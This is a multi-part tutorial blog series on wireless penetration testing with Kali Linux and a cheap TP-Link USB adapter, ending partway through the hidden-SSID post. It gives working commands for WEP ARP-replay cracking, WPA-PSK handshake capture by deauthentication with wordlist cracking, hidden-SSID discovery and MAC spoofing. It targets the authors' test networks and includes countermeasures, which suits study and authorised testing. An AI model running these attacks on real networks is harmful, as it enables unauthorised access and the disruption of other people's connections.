It is USB 2.0 and can accept any RP-SMA antenna, which is a very popular and durable connector (think Alpha antennas).  It comes with a 4dBi Omni, uses an Atheros chipset, and works with 802.11b,g,n.  Its only downsides are that it is 150Mbps and that it does not work with 802.11a.
The biggest advantage to using TP-Link’s TL-WN722N for wireless assessments is that it is USB.  Since USB is a direct pass-through in VMWare, it allows a Linux distro to be able to access the hardware directly using its native drivers for that chipset.  Ultimately, this means that you don’t have to boot your whole laptop into the bootable distro--you can run your wireless attack image from a virtual machine.

Software

The operating system that we will be using in this article is Kali Linux 1.0 (VMWare download).  This is available from www.kali.org/downloads/.
Figure 3:  Kali Linux download page


Tips and Tricks

There are a few tips and tricks that will hopefully help you get started with little to no fuss.  We have outlined them below.

Version of Workstation

The folks at Offensive Security used VMWare Workstation version 9 when they created the Kali VM.  Thus, if you open it using an earlier version such as Workstation 8, you will get an error message similar to the following:
“The configuration file "<path>\kali-linux-i386-gnome-vm.vmx" was created by a VMware product that is incompatible with this version of VMware Workstation and cannot be used.”
This is a simple fix.  Just open the .vmx file with a text editor and change the following line:


virtualHW.version = "9"




For a VMWare 8 environment, that line should read:


virtualHW.version = "8"




Now you should be able to start the virtual machine.  To log in, click “Other” and use “root” as the username and “toor” as the password.


Screen resolution

VMWare tools was most likely also configured under VMware Workstation 9, so it does not work properly for automatically resizing the screen in Workstation 8.


The easiest way to manually manage your screen resolution is by using xrandr.  The --current option will list your current resolution as well as other resolutions that your hardware can support as shown below:




root@kali:~# xrandr --current
xrandr: Failed to get size of gamma for output default
Screen 0: minimum 320 x 200, current 800 x 600, maximum 3840 x 1920
default connected 800x600+0+0 0mm x 0mm
  800x600        60.0*    85.0     75.0     72.0     56.0      0.0  
  2048x1536      85.0     75.0     60.0      0.0  
  1920x1440      85.0     75.0     60.0      0.0  
  1856x1392      75.0     60.0  
--snip--




If you want to change the resolution use the -s option.  In the example below, we changed our screen resolution to 1024x768 (since it was on 800x600).




root@kali:~# xrandr -s 1024x768




Simple text editor

Kali differs from BackTrack in that it did not have gedit installed.  gedit is a very simple and commonly used text editor for the Gnome environment.  If you wish, you can install it by using apt-get install gedit.  Otherwise, you could use notepad, which spawns wine and runs the Windows version of notepad--but that just seems wrong.  ;)  Feel free to leave your other favorite GUI editors in the comment section below.



Connecting the USB Device

When Kali is booted within VMWare, it will detect the USB card when plugged into the laptop as shown in the screenshot below:
Figure 4:  VMware detects the USB wireless card
After clicking on OK, the device becomes visible to the Kali linux virtual system.  The lsusb command can be used to verify that the operating system detected the USB device:

root@kali:~# lsusb
Bus 001 Device 002: ID 0cf3:9271 Atheros Communications, Inc. AR9271 802.11n
Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub




The iwconfig command can be used to list the wireless status of the installed network adapter.  The newly inserted card shows up as wlan0:

root@kali:~# iwconfig
wlan0     IEEE 802.11bgn  ESSID:off/any  
         Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
         Retry  long limit:7   RTS thr:off   Fragment thr:off
         Encryption key:off
         Power Management:off
         
lo        no wireless extensions.


eth0      no wireless extensions.




Discovery (airodump-ng)

The simplest way to ensure that the wireless card is working is to do some light discovery.  After all, the first step in a wireless engagement is to identify targets of interest.  The iwlist command works great for this as you can stay in “Managed” mode as shown in the iwconfig command above.

root@kali:~# iwlist wlan0 scanning
wlan0     Scan completed :
         Cell 01 - Address: 00:7F:28:xx:xx:xx
                   Channel:6
                   Frequency:2.437 GHz (Channel 6)
                   Quality=37/70  Signal level=-73 dBm  
                   Encryption key:on
                   ESSID:"xxxxxxThexxxxx"
                   Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                             9 Mb/s; 12 Mb/s; 18 Mb/s
                   Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                   Mode:Master
--snip--
                   IE: IEEE 802.11i/WPA2 Version 1
                       Group Cipher : CCMP
                       Pairwise Ciphers (1) : CCMP
                       Authentication Suites (1) : PSK
                   IE: WPA Version 1
                       Group Cipher : CCMP
--snip--




For more advanced discovery and tracking, we want to go into “Monitor” mode.  Running airmon-ng will list the cards present, their chipset and driver.

root@kali:~# airmon-ng


InterfaceChipsetDriver


wlan0Atheros AR9271ath9k - [phy0]




We can put the card into “Monitor” mode by using the ‘start’ option in airmon-ng:

root@kali:~# airmon-ng start wlan0



Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PIDName
2560NetworkManager
2634dhclient
3408wpa_supplicant



InterfaceChipsetDriver


wlan0Atheros AR9271ath9k - [phy0]
(monitor mode enabled on mon0)




Notice that airmon-ng states that monitor mode is enabled on the newly referenced interface mon0.  To round out discovery, we will use airodump-ng to find our victim access point’s information.

root@kali:~# airodump-ng --band abg mon0




When attacking WEP, you need the following information:
  • Name of the wireless network (ESSID)
  • MAC address of the AP (BSSID)
  • Channel that the AP is sitting on
  • MAC address of a wireless client (if no client is present, use your own MAC)


Figure 5:  airodump-ng provides enough victim information to proceed with the attack

Attack

Now that discovery is complete, we should have enough information to attack the victim Access Point (AP) to prove that this wireless card is worth having in our toolkit.  But what attack are we performing and why does it work?

Explained

For this attack we will be using ARP replay.
“The classic ARP request replay attack is the most effective way to generate new initialization vectors (IVs), and works very reliably. The program listens for an ARP packet then retransmits it back to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has new IVs. It is all these new IVs which allow you to determine the WEP key.”
Even with the warning above that WEP is cryptographically weak and broken, we still find it in client networks.  Let’s take a look at the attack.

Setting the Variables

The victim information from our previous screenshot is summarized below:

Variable name = Description:  Value
==============================
$ESSID = ESSID:  QX3A7
$CH = Channel:  6
$AP = AP MAC: 30:46:9A:16:ED:CE
$VM = Victim user MAC:  24:77:03:8C:D3:44




It is a bit of a pain to type and retype the same values into multiple terminal windows.  Since these values are awkward to type quickly and accurately, we use shell variables when attacking wireless networks.  
For example, it is good practice to open 3-4 windows and copy the following into each window to set the variables:

export ESSID=QX3A7
export CH=6
export AP=30:46:9A:16:ED:CE
export VM=24:77:03:8C:D3:44




The layout shown in the screenshot below is our personal preference, but we find it quite useful.  We will monitor/capture in the top window, perform active attacks against the AP in the middle two windows, and use the bottom window for cracking the crypto key.
Figure 6:  The screenshot above shows the variables being set in a few shell windows--this is for convenience
Now that we have our windows set up and environment variables set to our victim’s details, let’s begin the attack.  If you want to change your MAC address for extra stealth, now is the time to do so.  
For example, this command changes our wireless adapter’s MAC address to one belonging to Atari:

ifconfig wlan0 hw ether 00:00:36:12:A4:4E

Capture Traffic

We begin by capturing the traffic.  This is a convenient way to start because it also locks us on to the channel of the AP of interest (in this example, channel 6).  Remember the file prefix you choose.  It is the name of a pcap file that we will use later.

Syntax:
airodump-ng -c <CHANNEL> --bssid  <APMAC> -w <FILE PREFIX> <INT>


Key:
-c = Channel that the AP is on
--bssid = MAC address of the AP
-w = Prefix of the file name that you want to write data to
<INT> = Interface we will be capturing on


Attack:
airodump-ng -c $CH --bssid  $AP -w capture mon0




Associate

This step in a WEP attack may or may not be needed depending on the presence of an associated wireless client and your patience.  Fewer clients and fewer authentications mean a lower volume of IVs to analyze.  In this example, we used the association step to speed things up by performing a fake authentication to the router.


Syntax:
aireplay-ng -1 1000 -q 10 -e <ESSID> -a <APMAC> -h <VICTIM_MAC> <INT>


Key:
-1 1000 = (same as --fakeauth) fake authentication attack with a delay of 1000
-q = The time between keep-alive packets
-e = ESSID of target AP
-a = MAC address of the AP
-h = Victim MAC address (if no victim is present, use your own MAC)
<INT> = Interface we will be attacking from


Attack:
aireplay-ng -1 1000 -q 10 -e $ESSID -a $AP -h $VM mon0




Inject Frames

The goal here is to capture ARP frames and replay them back to the AP so the AP will generate new initialization vectors (IVs).  The more IVs we can collect, the easier it is to crack the WEP key.


Syntax:
aireplay-ng -3 -x 512 -b <AP> -h < VICTIM_MAC> <INT>


Key:
-3 = (same as --arpreplay) ARP Replay attack
-x = Number of packets per second
-b = MAC address of the AP
-h = Victim MAC address
<INT> = Interface we will be attacking from


Attack:
aireplay-ng -3 -x 512 -b $AP -h $VM mon0




When you are watching your attack take place, keep an eye on two fields:  Data and Lost packets.  Both should be climbing at a fairly high rate.  If they ever settle or slow down, kill your fake auth and run it again.  Don’t kill your capture though--let that run.  When your Data packets get to 20,000 or so, start aircrack-ng as shown in the next step.
Figure 7:  The attack is under way


Crack the Key

As the number of data packets increase, your likelihood of cracking the WEP key will increase.  At around 20,000 data packets, run aircrack-ng against the pcap file in which you are capturing IVs.


Syntax:
aircrack-ng <PCAP>


Attack:
root@kali:~# aircrack-ng capture-01.cap




Don’t worry when aircrack-ng says something along the lines of:  “Failed. Next try with x IVs”.  Aircrack-ng will automatically retry when the IVs hit that number, you don’t have to restart it.  Eventually, if all goes well, the key will be found.  In this case it took 6 minutes (which includes delays to take screenshots of the steps).
Figure 8:  Key is cracked in 6 minutes.

Connect

Now that we have recovered the key, we will connect to the AP using the command line steps outlined below:


Check the status of the card:
root@kali:~#  iwconfig wlan0


Enter the network information:
root@kali:~# iwconfig wlan0 essid "QX3A7" key 55:70:9E:69:0D:A0:9B:E1:18:DB:3A:7E:D9


Bring the Interface up:
root@kali:~# ifconfig wlan0 up


Check the Association:
root@kali:~# iwconfig wlan0


Obtain an IP:
root@kali:~# dhclient wlan0
Reloading /etc/samba/smb.conf: smbd only.


Verify an IP is obtained:
root@kali:~# ifconfig wlan0




After completing the steps above to connect to the WEP protected test network, we did not have an IP address and we were not associated with the access point.  This is strange because we verified the key with the information in the router:
So what happened?  It turns out that the NetworkManager was wreaking havoc with our manual settings.  We used airmon-ng check kill to quickly remove any processes that may be interfering:


root@kali:~# airmon-ng check kill


Found 8 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PIDName
2560NetworkManager
2634dhclient
3408wpa_supplicant
8141dhclient
Process with PID 8141 (dhclient) is running on interface wlan0
Killing all those processes...




After killing the processes listed above, we re-entered the steps to connect and voila!  We are connected to the network, have an IP, and can ping Google.
Figure 9:  Connection and verification process
In the future, we will more gracefully control the NetworkManager using the following commands:


Checking the status:
root@kali:~# /etc/init.d/network-manager status
[FAIL] NetworkManager is not running ... failed!


Stopping NetworkManager:
root@kali:~# /etc/init.d/network-manager stop
[ ok ] Stopping network connection manager: NetworkManager.


Starting NetworkManager:
root@kali:~# /etc/init.d/network-manager start
[ ok ] Starting network connection manager: NetworkManager.




The NetworkManager appears as a tray icon on the Gnome panel and does have some user friendly features.
Figure 10:  Controlling NetworkManager
You can even use NetworkManager to connect to the wireless network, but make sure you remove the colons (:) when entering the key.
Figure 11:  Using NetworkManager to connect to our victim network


Countermeasures

Even though the intention of this article is not to highlight the dangers of using WEP security, we feel that it is important to note that we do not condone using WEP.  However, to this day, we perform wireless assessments in which we discover that the client is still using WEP in certain circumstances (usually required for handheld scanners or some other one-off devices).  For these special cases, we recommend the following (in order from most to least secure):
  • Turn off the network if it is no longer needed
  • Air gap the wireless network from the corporate network
  • Switch to WPA-PSK with a REALLY long and complex password - change frequently if possible
  • Segment the wireless network from the wired network via Firewall and IPS


Conclusion

In this article, we proved the capabilities of an inexpensive wireless adapter and a flexible virtualized wireless attack image by breaking into a WEP protected test network.  For just $16 and no reboot required you can place a wireless adapter into monitor mode and start assessing wireless networks.  More testing needs to be done with this setup to determine any other capabilities it can provide.  For the time being, it appears that it can provide quick, portable, flexible, and inexpensive wireless testing.  Feedback below is always appreciated. Stay tuned for the next article which covers testing WPA-PSK.
If you try this with different cards and run into issues, check the following excellent resource:  http://docs.kali.org/troubleshooting/troubleshooting-wireless-driver-issues
Happy Hacking!

Special Thanks

Dan Dumond

David Pany


Wireless Pentesting on the Cheap (Kali + TL-WN722N) - WPA-PSK

$
0
0

By Tony Lee

Introduction

In our previous article we used TP-Link’s TL-WN722N and a Kali Virtual Machine (VM) to perform wireless discovery and attack against a Wired Equivalent Privacy (WEP) network to showcase the abilities of this inexpensive and flexible setup.  In this article we will continue to test our setup by attacking our home router running WPA (Pre-Shared Key) PSK--walking you through the attack from start to finish.
Figure 1:  Our setup
Consult our previous article for the following topics as they are omitted from this article due to similarity:
  • Equipment
    • Hardware
    • Software
  • Tips and tricks
    • Version of Workstation
    • Screen Resolution
    • Simple Text Editor
  • Connecting the USB Device


Outline

  • Preparation
  • Discovery (Kismet)
  • Attack
    • Explained
    • Setting the Variables
    • Capture the Handshake
    • Deauthenticate the Client
    • Brute-force the Key
  • Connect
  • Countermeasures
  • Conclusion


Preparation

NetworkManager (included in the default Kali Linux) can cause problems when trying to complete simple tasks such as connecting to wireless networks.  To prevent any interference, we will disable it ahead of time.


root@kali:~# service network-manager stop
[ ok ] Stopping network connection manager: NetworkManager.



Discovery (kismet)

In the previous article, we mentioned that the simplest way to ensure that the wireless card is working is to do some light discovery.  After all, the first step in a wireless engagement is to identify targets of interest.  The iwlist command works great for this as you can stay in “Managed” mode as shown in the iwconfig command in the previous article.


root@kali:~# iwlist wlan0 scanning
wlan0     Scan completed :
         Cell 01 - Address: 00:7F:28:xx:xx:xx
                   Channel:6
                   Frequency:2.437 GHz (Channel 6)
                   Quality=37/70  Signal level=-73 dBm  
                   Encryption key:on
                   ESSID:"xxxxxxThexxxxx"
                   Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                             9 Mb/s; 12 Mb/s; 18 Mb/s
                   Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                   Mode:Master
--snip--
                   IE: IEEE 802.11i/WPA2 Version 1
                       Group Cipher : CCMP
                       Pairwise Ciphers (1) : CCMP
                       Authentication Suites (1) : PSK
                   IE: WPA Version 1
                       Group Cipher : CCMP
--snip--



For more advanced discovery and tracking, we want to place the wireless card into “Monitor” mode.  We could do this manually with airmon-ng as we did in our previous article; however let’s use Kismet for our discovery this time using the following syntax:


root@kali:~# kismet -c wlan0



Figure 2:  Kismet is detecting wireless networks
Did you notice that we used wlan0 in the Kismet syntax above?  Doesn’t Kismet need the wireless card in monitor mode in order for it to work properly?  Sure does, but it handles that in the background:
Running iwconfig shows that Kismet created a monitor mode interface called wlan0mon:


root@kali:~# iwconfig
wlan0mon  IEEE 802.11bgn  Mode:Monitor Frequency:2.422 GHz  Tx-Power=20 dBm   
         Retry  long limit:7   RTS thr:off   Fragment thr:off
         Power Management:off
         
wlan0     IEEE 802.11bgn  ESSID:off/any  
         Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
         Retry  long limit:7   RTS thr:off   Fragment thr:off
         Encryption key:off
         Power Management:off
         
lo        no wireless extensions.


eth0      no wireless extensions.



Since Kismet is detecting networks correctly, we can use this for our target discovery… but first a little cleanup to the default Kismet user interface (UI).
  • Get rid of the packet graph
  • Stop the auto-sort
  • List the clients


While the packet graph looks cool, it does not help us in this task, so we disable it by clicking on View -> Packet Graph.
Also, since we want to focus on one network, we don’t want it to Auto-sort.  This can be disabled by clicking on Sort -> SSID.
Lastly, since a victim is necessary for the WPA-PSK attack, enable viewing of clients by clicking View -> Client List.
We will need to note the same information to what we had in the previous article:
  • Name of the wireless network (ESSID)
  • MAC address of the AP (BSSID)
  • Channel that the AP is sitting on
  • MAC address of a wireless client


Figure 3:  Kismet provides enough victim information to proceed with the attack
We can now shutdown Kismet and begin the attack.

Attack

Now that discovery is complete, we should have enough information to attack the victim Access Point (AP) to further prove that this wireless card is worth having in our toolkit.  But what attack are we performing and why does it work?

Explained

In the previous article, we cracked a WEP key.  The process is a bit different for cracking WPA-PSK.
“Unlike WEP, where statistical methods can be used to speed up the cracking process, only plain brute force techniques can be used against WPA/WPA2. That is, because the key is not static, so collecting IVs like when cracking WEP encryption, does not speed up the attack. The only thing that does give the information to start an attack is the handshake between client and AP. Handshaking is done when the client connects to the network. Although not absolutely true, for the purposes of this tutorial, consider it true. Since the pre-shared key can be from 8 to 63 characters in length, it effectively becomes impossible to crack the pre-shared key.
The only time you can crack the pre-shared key is if it is a dictionary word or relatively short in length. Conversely, if you want to have an unbreakable wireless network at home, use WPA/WPA2 and a 63 character password composed of random characters including special symbols.”
Even with the warning above to avoid dictionary based and short pre-shared keys, we still see it quite often.  Let’s take a look at the attack.

Setting the Variables

In our example, the victim information is summarized below:


Variable name = Description:  Value
==============================
$ESSID = ESSID:  QX3A7
$CH = Channel:  6
$AP = AP MAC: 30:46:9A:16:ED:CE
$VM = Victim user MAC:  24:77:03:8C:D3:44



Since this is a good amount of information that can be easily mistyped (one number off on a MAC address), we use shell variables when attacking wireless networks.
It is good practice to open 2-3 windows and copy the following into each window to set the variables:


export ESSID=QX3A7
export CH=6
export AP=30:46:9A:16:ED:CE
export VM=24:77:03:8C:D3:44



The layout shown in the screenshot below is our personal preference, but we find it quite useful.  We will monitor/capture in the top window, perform active attacks against the AP/client in the middle window, and use the bottom window for cracking the crypto key.
Figure 4:  The screenshot above shows the variables being set in a few shell windows--this is for convenience
Now that we have our windows set up and environment variables set to our victim, let’s begin the attack.  If you want to change your MAC address for extra stealth, now is the time to do so.

Capture the Handshake

We begin by capturing the traffic in an attempt to capture the 4-way handshake.  This is a convenient way to start because it also locks us on to the channel of the AP of interest (in this example, channel 6).


Syntax:
airodump-ng -c <CHANNEL> --bssid  <APMAC> -w <FILE PREFIX> <INT>


Key:
-c = Channel that the AP is on
--bssid = MAC address of the AP
-w = Prefix of the file name that you want to write data to
<INT> = Interface we will be capturing on


Attack:
airodump-ng -c $CH --bssid  $AP -w WPAcapture mon0



Deauthenticate the Client

The goal here is to deauthenticate (aka kick a client off the network) so they reconnect to the network.  Upon client reauthentication, we can capture their 4-way handshake.


Syntax:
aireplay-ng -0 25 -a <AP> -c < VICTIM_MAC> <INT>


Key:
-0 = (same as --deauth) deauthentication attack
-a = MAC address of the AP
-c = Victim MAC address
<INT> = Interface we will be attacking from


Attack:
aireplay-ng -0 25 -a $AP -c $VM mon0



When you are watching your attack take place, keep an eye on the top right-hand corner of the capture window.  The following message should appear when you have successfully captured the 4-way handshake:  “WPA handshake:  XX:XX:XX:XX:XX:XX” (where X’s are the MAC address (BSSID) of the AP you are interested in).  Feel free to stop the capture process with Control+c after the handshake is captured. The screenshot below shows the attack windows and a successfully captured WPA handshake.
Figure 5:  The attack is under way


Brute-force the Key

Now it is time to run aircrack-ng against the pcap file which contains the handshake.
Since this is an off-line brute-force attack, you will need a sufficiently large wordlist to supply to aircrack-ng.  The rockyou.com word list is a good start as it is almost 14.5 million passwords.  In order to use the rockyou.com wordlist, you will have to uncompress it as shown below:


root@kali:/usr/share/wordlists# ls
rockyou.txt.gz


root@kali:/usr/share/wordlists# gunzip rockyou.txt.gz


root@kali:/usr/share/wordlists# ls
rockyou.txt


root@kali:/usr/share/wordlists# wc -l rockyou.txt
14344392 rockyou.txt



After uncompressing the wordlist, run aircrack-ng as shown below:


Syntax:
aircrack-ng -w <WORDLIST> <PCAP>


Key:
-w = wordlist


Attack:
root@kali:~# aircrack-ng -w /usr/share/wordlists/rockyou.txt WPAcapture-01.cap



Figure 6:  Brute-forcing takes time…


Eventually, if all goes well, the key will be found.  Our Kali VM (virtual CPU only) is checking passwords at about 737.75 passwords / second.  There are 14,344,392 passwords in the rockyou.com list.  Simple math shows that the entire list can be exhausted in 14,344,392 / 738 ≈ 19,436 seconds or 19.436/60 ≈ 324 minutes or 324/60 ≈ 5.4 hours.  Fortunately our password of “cheekymonkeyrox” was not at the end of list and it cracked in 22 minutes and 55 seconds.
Figure 7:  Key is finally cracked
For more complex cracking attempts, it is possible to use John the Ripper (JTR) to perform permutations and make dictionaries larger:


Generate permutations with JTR:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout


Feed JTR permutations into aircrack-ng:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | aircrack-ng -w - -e <ESSID> <PCAP>


Example:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | aircrack-ng -w - -e QX3A7 WPAcapture-01.cap



Connect

Now that we have recovered the key, we will connect to the AP using the command line steps outlined below:


Check the status of the card:
root@kali:~#  iwconfig wlan0


Enter the network information:
root@kali:~# iwconfig wlan0 essid "QX3A7"


Bring the Interface up:
root@kali:~# ifconfig wlan0 up


Create wpa_supplicant file named wpa-psk.conf with your favorite text editor:
network={
   ssid="QX3A7"
   key_mgmt=WPA-PSK
   group=CCMP
   pairwise=CCMP
   proto=WPA2
   psk="cheekymonkeyrox"
}


Run the wpa_supplicant:
root@kali:~# wpa_supplicant -i wlan0 -c ~/wpa-psk.conf


Obtain an IP:
root@kali:~# dhclient wlan0
Reloading /etc/samba/smb.conf: smbd only.


Verify an IP is obtained:
root@kali:~# ifconfig wlan0




Figure 9:  Connecting to the WPA-PSK using wpa_supplicant


Countermeasures

Even though the intention of this article is not to warn about the dangers of using WPA-PSK security, we feel that it is important to note that WPA-PSK should be used sparingly and with great caution in an enterprise environment.  That said, we perform many wireless assessments in which we discover that the clients are using WPA-PSK in certain circumstances (usually required for hand scanners or some other one-off devices).  For these special cases, we recommend the following (in order from most secure to least):
  • Turn off the network if it is no longer needed
  • Air gap the wireless network from the corporate network
  • Only use REALLY long and complex passwords - change frequently if possible
  • Segment the wireless network from the wired network via Firewall and IPS


Conclusion

In this article, we proved the capabilities of an inexpensive wireless adapter and a flexible virtualized wireless attack image by breaking into a WPA-PSK test network.  For just $16 and no reboot required you can place a wireless adapter into monitor mode and start assessing wireless networks.  More testing needs to be done with this setup to determine other capabilities; however as of right now, it appears that it can provide quick, portable, flexible, and inexpensive wireless testing.  Feedback below is always appreciated.
If you try this with different cards and run into issues, check the following excellent resource:  http://docs.kali.org/troubleshooting/troubleshooting-wireless-driver-issues


Special Thanks


Dan Dumond

Wireless Pentesting on the Cheap (Kali + TL-WN722N) - Hidden SSID

$
0
0

By Tony Lee

Introduction

In our previous articles we used TP-Link’s TL-WN722N and a Kali Virtual Machine (VM) to perform wireless discovery and attack against a Wired Equivalent Privacy (WEP) network and WPA (Pre-Shared Key) PSK network to showcase the abilities of this inexpensive and flexible setup.
In this article we will continue to test this setup by attacking our home router that is hiding its SSID--walking you through the attack from start to finish.
Figure 1:  Our setup
Consult our previous article WEPfor the following topics as they are omitted from this article due to similarity:
  • Equipment
    • Hardware
    • Software
  • Tips and tricks
    • Version of Workstation
    • Screen Resolution
    • Simple Text Editor
  • Connecting the USB Device

Outline

  • Preparation
  • Discovery
  • Attack
    • Explained
    • Passive
    • Active
      • Start the capture
      • Deauth
  • Connect
  • Countermeasures
  • Conclusion

Preparation

NetworkManager (included in the default Kali Linux) can cause problems when trying to complete simple tasks such as connecting to wireless networks.  To prevent any interference, we will disable it ahead of time.

root@kali:~# service network-manager stop
[ ok ] Stopping network connection manager: NetworkManager.


Discovery

In the previous article, we mentioned that the simplest way to ensure that the wireless card is working is to do some light discovery.  After all, the first step in a wireless engagement is to identify targets of interest.  This article throws a little twist into it by hiding the SSID.
Typically, wireless access points will continuously broadcast their SSID at regular intervals.  However, some administrators choose to disable this SSID broadcast in an attempt to keep the network hidden from curious observers and would-be hackers.
Beaconing AP
Hidden SSID
**


We can discover the BSSID (or MAC address) of the access point that we want to connect to, but we do not know the name.  This is a problem, because you cannot connect to a network without knowing the (case-sensitive) ESSID.  Let’s check out the network using the iwlist command as we can stay in “Managed” mode.

root@kali:~# iwlist wlan0 scanning | grep -A 30 30:46:9A:16:ED:CE
         Cell 10 - Address: 30:46:9A:16:ED:CE
                   Channel:6
                   Frequency:2.437 GHz (Channel 6)
                   Quality=26/70  Signal level=-84 dBm  
                   Encryption key:on
                   ESSID:""
                   Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                             9 Mb/s; 12 Mb/s; 18 Mb/s
                   Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                   Mode:Master
                   Extra:tsf=0000000046c9ed80
                   Extra: Last beacon: 1928ms ago
                   IE: Unknown: 0000
                   IE: Unknown: 010882848B960C121824
                   IE: Unknown: 030106
                   IE: Unknown: 050400020000
                   IE: Unknown: 0706555320010B1B
                   IE: Unknown: 2A0100
                   IE: Unknown: 32043048606C
                   IE: Unknown: DD180050F2020101830003A4000027A4000042435E0062322F00
                   IE: Unknown: DD0900037F01010000FF7F
                   IE: Unknown: DD0A00037F04010002004000
                   IE: Unknown: DD270050F204104A0001101044000102104700100000000000001000000030469A16EDCE103C000103
--snip--


Notice how the ESSID is hidden and is displayed as:   ESSID:"".  Our goal is to discover this hidden name.

Attack

In the previous article, we mentioned using Kismet and airodump-ng as discovery tools.  In this article, they are both discovery and attack tools (if we are patient enough).

Explained

“A Service Set Identifier (SSID) is a 32-character (maximum) alphanumeric key identifying the name of the wireless local area network.  Some vendors refer to the SSID as the network name.”
This SSID is case-sensitive and required for clients to connect to the wireless network.  It is trivial to prevent the network name from being broadcasted in most router or wireless controller settings and can provide some (albeit minimal) level of difficulty in discovering the name.  Keep in mind that when used as a sole source of security for your wireless network--it is merely security through obscurity.  In addition, it can make your wireless stations (clients) more vulnerable to attack as they will go around asking for that network by name.  This provides an attacker the opportunity to provide a fake AP broadcasting the network name that the client is requesting--certainly a topic for another article.
Our test router has this setting in the following location:
Figure 2:  The screenshot above shows the checkbox to enable broadcasting the SSID.  Uncheck the box to hide it.
Now, when Windows users try to find the wireless network it will show up as “Other”:


Figure 3:  The wireless network with a hidden SSID is shown as “Other Network”
When we click on “Connect”, Windows will ask us for the case-sensitive network name:
Figure 4:  A user needs to supply the network name.
After the correct network name has been supplied, the user will still need to know the key:
Figure 5:  Knowledge of the correct key is still required
So, how do we discover the name of the network?

Passive

We can discover the name of the network without sending even one packet--we just have to be very patient.  When a client associates with a wireless network, they pass the SSID in the management frame.  This management frame is sent in the clear and thus attackers can passively discover hidden SSIDs just by patiently listening.  Observe the screenshot below where we used a Wireshark display filter to hone in on an Association Request packet to show you the SSID field.
Figure 6:  The captured packet is an Association Request from the wireless client to the AP with a hidden SSID
The following is a cheat sheet of common wireless frame filters that can be used in Wireshark.
Figure 7:  Handy Wireshark cheat sheet for wireless frame filters

By chance, upon firing up Kismet, we did happen to capture the management frame.
Figure 8:  Kismet detects hidden SSID

Active

For the more impatient people out there (raises hand), we can speed it up a little and turn it into a more active attack.  The best approach here is to start our listener (either Kismet or airodump-ng) and then perform a deauthentication against a connected client.  When the client reassociates, we will have the SSID.  

Using airodump-ng, we will need to note most of the same information to what we had in the previous article:
  • MAC address of the AP (BSSID)
  • Channel that the AP is sitting on
  • MAC address of a wireless client

First we will start airmon-ng on our wireless adapter so that it can create the monitoring interface mon0.

root@kali:~# airmon-ng start wlan0


Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PIDName
2652dhclient
3409wpa_supplicant


InterfaceChipsetDriver

wlan0Atheros AR9271ath9k - [phy0]
(monitor mode enabled on mon0)


The information we need is summarized below:

Variable name = Description:  Value
==============================
$ESSID = ESSID:  ?????
$CH = Channel:  6
$AP = AP MAC: 30:46:9A:16:ED:CE
$VM = Victim user MAC:  24:77:03:8C:D3:44


For this exercise, it is good practice to open 2 windows and copy the following into each window to set the variables:

export CH=6
export AP=30:46:9A:16:ED:CE
export VM=24:77:03:8C:D3:44


If you want to change your MAC address for extra stealth, now is the time to do so.

Start the Capture

We begin by capturing the traffic in an attempt to get the reassociation.  This is a convenient way to start because it also locks us on to the channel of the AP of interest (in this example, channel 6).

Syntax:
airodump-ng -c <CHANNEL> --bssid  <APMAC> -w <FILE PREFIX> <INT>

Key:
-c = Channel that the AP is on
--bssid = MAC address of the AP
-w = Prefix of the file name that you want to write data to
<INT> = Interface we will be capturing on

Attack:
airodump-ng -c $CH --bssid  $AP -w WPAcapture mon0


As shown below, the ESSID name is not showing up in our top terminal window running airodump-ng.
Figure 9:  Airodump-ng prior to the deauthentication attack does not know the network name

Deauthenticate the Client

The goal here is to deauthenticate (aka kick a client off the network) so they have to reconnect to the network.  Upon client reauthentication, we can capture their management frames.

Syntax:
aireplay-ng -0 25 -a <AP> -c < VICTIM_MAC> <INT>

Key:
-0 = (same as --deauth) deauthentication attack
-a = MAC address of the AP
-c = Victim MAC address
<INT> = Interface we will be attacking from

Attack:
aireplay-ng -0 25 -a $AP -c $VM mon0


Shortly after running the deauthentication, we get some activity in our airodump-ng window as shown below.
Figure 10:  After the deauthentication packets are sent Airodump is able to discover and tell us the ESSID
When you are watching your attack take place, keep an eye on the top right-hand corner of the capture window.  You should see the ESSID field populated if your deauthentication was successful.

Connect

Now that we have recovered the ESSID, we will connect to the AP using the command line steps outlined below:

Check the status of the card:
root@kali:~#  iwconfig wlan0

Enter the network information:
root@kali:~# iwconfig wlan0 essid "QX3A7" key 55:70:9E:69:0D:A0:9B:E1:18:DB:3A:7E:D9

Bring the Interface up:
root@kali:~# ifconfig wlan0 up

Check the Association:
root@kali:~# iwconfig wlan0

Obtain an IP:
root@kali:~# dhclient wlan0
Reloading /etc/samba/smb.conf: smbd only.


Here is what it should look like:


Figure 11:  Connecting to the WEP protected network with a hidden SSID
Now that we know the ESSID, we can use the attacks outlined in the previous articles to attack WEP and WPA/PSK secured networks.

Countermeasures

